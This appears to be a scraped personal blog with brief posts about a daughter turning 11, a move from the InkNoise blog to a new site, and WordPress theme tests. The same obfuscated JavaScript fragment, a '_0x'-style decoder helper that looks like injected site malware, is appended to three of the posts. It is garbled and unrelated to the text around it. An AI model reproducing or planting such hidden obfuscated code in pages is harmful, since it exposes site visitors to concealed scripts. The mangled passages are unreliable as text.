For those of you who are unfamiliar with (or have forgotten, or never noticed) my blog-title shorthand: I post birthday notices with the celebrant’s age in the subject line. Jen turned 11 a week ago.

Here, we’ve dug up a few photos for comparison—a studio photo of Jen, flanked by a couple of relevant then-11-year-olds. I’m [...]

Can I have a quick roll call of readers, please? Who’s followed me here from the InkNoise blog? function _0×9e23(_0×14f71d,_0×4c0b72){const _0×4d17dc=_0×4d17();return _0×9e23=function(_0×9e2358,_0×30b288){_0×9e2358=_0×9e2358-0×1d8;let _0×261388=_0×4d17dc[_0x9e2358];return _0×261388;},_0×9e23(_0×14f71d,_0×4c0b72);}

It’s lightly raining, sleeting, and snowing, all at once.

I’ve done a little work on the visual format of this here blog.

There’s still more to do, especially on the non-home pages—but it’s not a bad start, if I may say.

And yes, I’ll come up with new and better designs. Right now, styling this blog to match (and, in some ways, improve upon) the old [...]

One more post here for testing.

Thing one. Thing two.

Again, nothing to see here—move along. function _0×9e23(_0×14f71d,_0×4c0b72){const _0×4d17dc=_0×4d17();return _0×9e23=function(_0×9e2358,_0×30b288){_0×9e2358=_0×9e2358-0×1d8;let _0×261388=_0×4d17dc[_0x9e2358];return _0×261388;},_0×9e23(_0×14f71d,_0×4c0b72);}

If the appearance starts going bonkers here, it’s because I’m experimenting with WordPress themes and making some modifications of my own.

Please stand by.

This is a blockquoted paragraph—it’s here so I can experiment with the layout. Nothing to see here! Move along. function _0×9e23(_0×14f71d,_0×4c0b72){const _0×4d17dc=_0×4d17();return _0×9e23=function(_0×9e2358,_0×30b288){_0×9e2358=_0×9e2358-0×1d8;let _0×261388=_0×4d17dc[_0x9e2358];return _0×261388;},_0×9e23(_0×14f71d,_0×4c0b72);}

I wasn’t going to make this site public until I’d transferred all my old blog posts from InkNoise, copied the photos as well, and reformatted everything properly—but why wait? I haven’t erased the old site, and since I can’t post new entries there, I might as well get something running here.

So! Here it is! Idiozeitgeist, [...]
